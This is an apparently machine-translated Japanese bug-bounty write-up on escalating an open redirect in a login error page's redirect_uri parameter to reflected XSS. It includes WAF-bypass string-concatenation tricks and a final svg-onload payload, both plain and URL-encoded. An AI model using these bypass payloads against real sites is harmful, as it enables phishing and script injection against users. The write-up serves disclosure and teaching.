Hello there, ('ω')ノ
1 番目のバグ報奨金の書き込み: ログイン ページで XSS へのリダイレクトを開くを。
脆弱性:
オープンリダイレクト
記事:
今回は、オープン リダイレクトから反映された xss へのエスカレーション方法を。
スコープ内に 80 のアセットを持つ redacted.net という
プライベート Web アプリケーション プログラムから招待状を受け取り。
それを 1 つずつ確認していき。
興味深いサブドメインに電子メールが入力されていることがわかり。
狩りを開始し、その仕組みがわかり。
ランダムな電子メールを追加して「次へ」をクリックすると、
URL に何かがあることに気づき次のようになり。
https://subdomain.redacted.net/error_page?redirect_uri={redirect_url}&message={error_message}&extra_message={error_message}
ページに表示されるエラーメッセージに関連する [message] と
[extra_message] という 3 つのパラメータがあり、
他のエラー メッセージで偽装することができて。
[redirect_uri] パラメータは、パラメータにある URL にリダイレクトする
ボタンに関連していて。
そこで、他の URL に変更すると、[ログインに戻る] をクリックすると
こっそりリダイレクトされ。
ここでXSS にエスカレーションしたいのですが、WAF がどのように機能するかを
2 時間試した後、それをバイパスして。
JavaScript への注入を行う場合、JavaScript コードとしては、
強化設定の WAF のように見えますが、注入ポイントがタグの場合はそうではなく。
それをバイパスしようとしたときに学んだことは次のとおりで。
document.location.href=’//t.co’ is blocked.
文字列連結を使用してそれを参照しようとする場合は、
let tt=’documen’;let yy=’t’;let uu=’.locatio’;let ii=’n’;let oo=’.hre’;let pp=’f’;let aa=tt+yy+uu+ii+oo+pp;a=’//example.com’;
は、有効なコードですが機能せず。
<tag> in javascript: context is blocked.
let a=’<tag’;let b=’>’;c=a+b is not.
let bb=’<svg onload=’ is blocked because onload event is triggered WAF.
let bb=’<svg onload’;let cc=’=’ is not.
(), `and let a=’(‘;let b=’)’` is blocked.
let a=’)’;let b=’(‘ is not ! .
したがって、文字列連結を使用した最終的なペイロードは次のようになり。
let bb=’<svg onload’;let cc=’=’;dd=’promp’;ff=’)’;gg=’t(‘;hh=’>’;aa=bb+cc+dd+gg+ff+hh
ペイロードを URL としてエンコードして。
%6c%65%74%20%62%62%3d%27%3c%73%76%67%20%6f%6e%6c%6f%61%64%27%3b%6c%65%74%20%63%63%3d%27%3d%27%3b%64%64%3d%27%70%72%6f%6d%70%27%3b%66%66%3d%27%29%27%3b%67%67%3d%27%74%28%27%3b%68%68%3d%27%3e%27%3b%6c%6c%3d%62%62%2b%63%63%2b%64%64%2b%67%67%2b%66%66%2b%68%68
redirect_uri のペイロードを置き換えると、正常に動作して。
Best regards, (^^ゞ